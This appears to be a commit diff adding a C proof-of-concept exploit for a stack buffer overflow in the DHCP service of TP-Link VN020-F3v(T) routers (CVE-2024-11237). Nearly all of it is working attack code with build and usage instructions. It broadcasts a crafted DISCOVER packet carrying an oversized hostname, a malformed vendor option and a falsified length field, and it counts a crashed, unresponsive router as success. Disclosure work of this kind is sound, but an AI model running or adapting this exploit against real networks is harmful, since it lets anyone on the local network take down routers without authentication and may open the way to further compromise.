1+ /*
2+ * Exploit Title: TP-Link VN020 F3v(T) TT_V6.2.1021) - DHCP Stack Buffer Overflow
3+ * Date: 10/20/2024
4+ * Exploit Author: Mohamed Maatallah
5+ * Vendor Homepage: https://www.tp-link.com
6+ * Version: TT_V6.2.1021 (VN020-F3v(T))
7+ * Tested on: VN020-F3v(T) Router (Hardware Version 1.0)
8+ * CVE: CVE-2024-11237
9+ * Category: Remote
10+
11+ * Technical Details:
12+ * -----------------
13+ * - Triggers multiple memory corruption vectors in DHCP parsing
14+ * - Primary vector: Stack overflow via oversized hostname (127 bytes)
15+ * - Secondary vector: Parser confusion via malformed length fields
16+ * - Tertiary vector: Vendor specific option parsing edge case
17+ *
18+ * Attack Surface:
19+ * --------------
20+ * - DHCP service running on port 67
21+ * - Processes broadcast DISCOVER packets
22+ * - No authentication required
23+ * - Affects all routers running VN020 F3v(t) specifically the ones
24+ * supplied by Tunisie Telecom & Topnet
25+ *
26+ * Exploitation Method:
27+ * ------------------
28+ * 1. Sends crafted DHCP DISCOVER packet
29+ * 2. Overflows hostname buffer (64 -> 127 bytes)
30+ * 3. Corrupts length fields in DHCP options
31+ * 4. Success = No response (service crash)
32+ *
33+ * Build:
34+ * ------
35+ * Windows: cl poc.c /o tplink_dhcp.exe or use visual studio directly.
36+ *
37+ * Usage:
38+ * ------
39+ * tplink_dhcp.exe
40+
41+ #define _WINSOCK_DEPRECATED_NO_WARNINGS
42+ #include <Ws2tcpip.h>
43+ #include <stdio.h>
44+ #include <stdlib.h>
45+ #include <string.h>
46+ #include <time.h>
47+ #include <winsock2.h>
48+
49+ #pragma comment(lib, "ws2_32.lib")
50+
51+ // Standard DHCP ports - Server listens on 67, clients send from 68
52+ #define DHCP_SERVER_PORT 67
53+ #define DHCP_CLIENT_PORT 68
54+ #define MAX_PACKET_SIZE 1024 // Maximum size for DHCP packet
55+ #define MAX_ATTEMPTS 3
56+
57+ // Forward declarations of functions
58+ void create_dhcp_discover_packet(unsigned char* packet, int* packet_length);
59+ void add_option(unsigned char* packet, int* offset, unsigned char option,
60+ unsigned char length, unsigned char* data);
61+ void tp_link(unsigned char* packet, int* offset);
62+ void print_packet_hex(unsigned char* packet, int length);
63+ int wait_for_response(SOCKET sock, int timeout);
64+
65+ int main() {
66+ WSADATA wsa;
67+ SOCKET sock;
68+ struct sockaddr_in dest;
69+ unsigned char packet[MAX_PACKET_SIZE]; // Buffer for DHCP packet
70+ int packet_length = 0; // Length of constructed packet
71+ int attempts = 0; // Counter for send attempts
72+ int success = 0;
73+
74+
75+ printf("[TP-Thumper] Initializing Winsock...\n");
76+ if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
77+ printf("[TP-Thumper] Winsock initialization failed. Error: %d\n",
78+ WSAGetLastError());
79+ return 1;
80+ }
81+
82+ sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
83+ if (sock == INVALID_SOCKET) {
84+ printf("[TP-Thumper] Could not create socket. Error: %d\n",
85+ WSAGetLastError());
86+ WSACleanup();
87+ return 1;
88+ }
89+
90+ // Set up broadcast address (255.255.255.255)
91+ dest.sin_family = AF_INET;
92+ dest.sin_port = htons(DHCP_SERVER_PORT);
93+ dest.sin_addr.s_addr = inet_addr("255.255.255.255");
94+
95+ // Enable broadcast mode on socket
96+ BOOL broadcast = TRUE;
97+ if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char*)&broadcast,
98+ sizeof(broadcast)) < 0) {
99+ printf("[TP-Thumper] Broadcast mode failed.\n");
100+ closesocket(sock);
101+ WSACleanup();
102+ return 1;
103+ }
104+
105+ srand((unsigned int)time(NULL));
106+
107+ // Create the DHCP DISCOVER packet
108+ create_dhcp_discover_packet(packet, &packet_length);
109+
110+ // Main attempt loop - tries to send packet MAX_ATTEMPTS times
111+ while (attempts < MAX_ATTEMPTS && !success) {
112+ printf("[TP-Thumper] Sending DHCP Discover packet (Attempt %d/%d)...\n",
113+ attempts + 1, MAX_ATTEMPTS);
114+ print_packet_hex(packet, packet_length); //debug
115+
116+ // Send the packet
117+ if (sendto(sock, (char*)packet, packet_length, 0, (struct sockaddr*)&dest,
118+ sizeof(dest)) < 0) {
119+ printf("[TP-Thumper] Packet send failed. Error: %d\n", WSAGetLastError());
120+ }
121+ else {
122+ printf("[TP-Thumper] Packet sent. Waiting for router response...\n");
123+ if (wait_for_response(sock, 10)) {
124+ printf(
125+ "[TP-Thumper] Router responded! Exploit may not have succeeded.\n");
126+ success = 1;
127+ }
128+ else {
129+ printf("[TP-Thumper] No response received within timeout.\n");
130+ }
131+ }
132+ attempts++;
133+ }
134+ if (!success) {
135+ printf(
136+ "[TP-Thumper] Exploit succeeded: No router response after %d "
137+ "attempts.\n",
138+ MAX_ATTEMPTS);
139+ }
140+ else {
141+ printf("[TP-Thumper] Exploit failed: Router responded within timeout.\n");
142+ }
143+
144+ // Cleanup
145+ closesocket(sock);
146+ WSACleanup();
147+ return 0;
148+ }
149+ /*
150+ * DHCP Message Format:
151+ * [0x00]: op = 0x01 ; BOOTREQUEST
152+ * [0x01]: htype = 0x01 ; Ethernet
153+ * [0x02]: hlen = 0x06 ; MAC addr len
154+ * [0x03]: hops = 0x00 ; No relay
155+ * [0x04-0x07]: xid ; Random transaction ID
156+ * [0x08-0x0F]: secs + flags ; Broadcast flags set
157+ * [0x10-0x1F]: ciaddr + yiaddr ; Empty
158+ * [0x20-0x27]: siaddr + giaddr ; Empty
159+ * [0x28-0x2D]: chaddr ; Crafted MAC
160+ */
161+
162+ void create_dhcp_discover_packet (unsigned char * packet , int * packet_length ) {
163+ memset (packet , 0 , MAX_PACKET_SIZE );
164+ int offset = 0 ;
165+
166+ // DHCP Header - Standard fields
167+ packet [offset ++ ] = 0x01 ; // BOOTREQUEST
168+ packet [offset ++ ] = 0x01 ; // Ethernet
169+ packet [offset ++ ] = 0x06 ; // MAC len
170+ packet [offset ++ ] = 0x00 ; // No hops
171+
172+ // ; XID - rand() used for bypass of response filtering
173+ // ; mov eax, rand()
174+ // ; mov [packet + 4], eax
175+ unsigned int xid = (unsigned int )rand ();
176+ * ((unsigned int * )& packet [offset ]) = htonl (xid );
177+ offset += 4 ;
178+
179+ // ; Flags - Set broadcast bit to force response
180+ // ; mov word [packet + 8], 0x0000 ; secs elapsed
181+ // ; mov word [packet + 10], 0x8000 ; broadcast flag
182+ packet [offset ++ ] = 0x00 ;
183+ packet [offset ++ ] = 0x00 ;
184+ packet [offset ++ ] = 0x80 ;
185+ packet [offset ++ ] = 0x00 ;
186+
187+ // Zero IP fields - forces DHCP server parse
188+ memset (& packet [offset ], 0 , 16 );
189+ offset += 16 ;
190+
191+ // ; Crafted MAC - DE:AD:BE:EF:00:01
192+ // ; Used for unique client tracking, bypasses MAC filters
193+ packet [offset ++ ] = 0xDE ;
194+ packet [offset ++ ] = 0xAD ;
195+ packet [offset ++ ] = 0xBE ;
196+ packet [offset ++ ] = 0xEF ;
197+ packet [offset ++ ] = 0x00 ;
198+ packet [offset ++ ] = 0x01 ;
199+ memset (& packet [offset ], 0x00 , 10 );
200+ offset += 10 ;
201+
202+ // ; Skip server name/boot filename
203+ // ; Total padding: 192 bytes
204+ memset (& packet [offset ], 0x00 , 64 );
205+ offset += 64 ;
206+ memset (& packet [offset ], 0x00 , 128 );
207+ offset += 128 ;
208+
209+ // ; DHCP Magic Cookie
210+ // ; 0x63825363 = DHCP in natural order
211+ packet [offset ++ ] = 0x63 ;
212+ packet [offset ++ ] = 0x82 ;
213+ packet [offset ++ ] = 0x53 ;
214+ packet [offset ++ ] = 0x63 ;
215+
216+ // ; Stack layout after this point:
217+ // ; [ebp+0] = DHCP header
218+ // ; [ebp+240] = DHCP options start
219+ // ; Router parses sequentially from this point
220+ add_option (packet , & offset , 0x35 , 0x01 , (unsigned char []) { 0x01 });
221+ add_option (packet , & offset , 0x37 , 4 ,
222+ (unsigned char []) {
223+ 0x01 , 0x03 , 0x06 , 0x0F
224+ });
225+
226+ // ; Trigger overflow conditions
227+ tp_link (packet , & offset );
228+
229+ packet [offset ++ ] = 0xFF ; // End option
230+ * packet_length = offset ;
231+ }
232+
233+ void tp_link (unsigned char * packet , int * offset ) {
234+ // ; Vendor specific overflow - triggers parser state confusion
235+ // ; 0x00,0x14,0x22 = TP-Link vendor prefix
236+ // ; Following 0xFF bytes cause length validation bypass
237+ unsigned char vendor_specific [] = { 0x00 , 0x14 , 0x22 , 0xFF , 0xFF , 0xFF };
238+ add_option (packet , offset , 0x2B , sizeof (vendor_specific ), vendor_specific );
239+
240+ // ; Stack buffer overflow via hostname
241+ // ; Router allocates 64-byte buffer but we send 127
242+ // ; Overwrites adjacent stack frame
243+ unsigned char long_hostname [128 ];
244+ memset (long_hostname , 'A' , sizeof (long_hostname ) - 1 );
245+ long_hostname [127 ] = '\0' ;
246+ add_option (packet , offset , 0x0C , 127 , long_hostname );
247+
248+ // ; Length field exploit
249+ // ; Claims 255 bytes but only sends 1
250+ // ; Router assumes full length during memory operations
251+ // ; leads to read/write past buffer
252+ add_option (packet , offset , 0x3D , 0xFF , (unsigned char []) { 0x01 });
253+ }
254+
255+ // ; Helper for DHCP option construction
256+ // ; option = option code
257+ // ; length = claimed length (can be falsified)
258+ // ; data = actual payload
259+
260+ void add_option (unsigned char * packet , int * offset , unsigned char option ,
261+ unsigned char length , unsigned char * data ) {
262+ packet [(* offset )++ ] = option ; // Option type
263+ packet [(* offset )++ ] = length ; // Claimed length
264+ memcpy (& packet [* offset ], data , length );
265+ * offset += length ;
266+ }
267+
268+ // Debug
269+ void print_packet_hex (unsigned char * packet , int length ) {
270+ printf ("[TP-Thumper] Packet Hex Dump:\n" );
271+
272+ // Print header fields with labels
273+ printf ("Opcode (op): %02X\n" , packet [0 ]);
274+ printf ("Hardware Type (htype): %02X\n" , packet [1 ]);
275+ printf ("Hardware Address Length (hlen): %02X\n" , packet [2 ]);
276+ printf ("Hops: %02X\n" , packet [3 ]);
277+
278+ // Transaction ID
279+ printf ("Transaction ID (xid): " );
280+ for (int i = 4 ; i < 8 ; i ++ ) {
281+ printf ("%02X " , packet [i ]);
282+ }
283+ printf ("\n" );
284+
285+ // Flags
286+ printf ("Flags: " );
287+ for (int i = 10 ; i < 12 ; i ++ ) {
288+ printf ("%02X " , packet [i ]);
289+ }
290+ printf ("\n" );
291+
292+ // Client Hardware Address (MAC)
293+ printf ("Client Hardware Address (chaddr): " );
294+ for (int i = 28 ; i < 34 ; i ++ ) {
295+ printf ("%02X " , packet [i ]);
296+ }
297+ printf ("\n" );
298+
299+ // DHCP Magic Cookie
300+ printf ("Magic Cookie: " );
301+ for (int i = 236 ; i < 240 ; i ++ ) {
302+ printf ("%02X " , packet [i ]);
303+ }
304+ printf ("\n" );
305+
306+ // DHCP Options
307+ printf ("DHCP Options:\n" );
308+ int i = 240 ;
309+ while (i < length ) {
310+ printf (" Option: %02X, Length: %02X, Data: " , packet [i ], packet [i + 1 ]);
311+ int option_length = packet [i + 1 ];
312+ for (int j = 0 ; j < option_length ; j ++ ) {
313+ printf ("%02X " , packet [i + 2 + j ]);
314+ }
315+ printf ("\n" );
316+ i += 2 + option_length ;
317+ if (packet [i ] == 0xFF ) {
318+ printf (" End of Options\n" );
319+ break ;
320+ }
321+ }
322+ }
323+
324+ // Wait for router response with timeout
325+ int wait_for_response (SOCKET sock , int timeout ) {
326+ struct timeval tv ;
327+ tv .tv_sec = timeout ;
328+ tv .tv_usec = 0 ;
329+
330+ // Set up file descriptor set for select()
331+ fd_set readfds ;
332+ FD_ZERO (& readfds );
333+ FD_SET (sock , & readfds );
334+
335+ // Wait for data or timeout
336+ int result = select (0 , & readfds , NULL , NULL , & tv );
337+ return result > 0 ; // Returns true if data available
338+ }
0 commit comments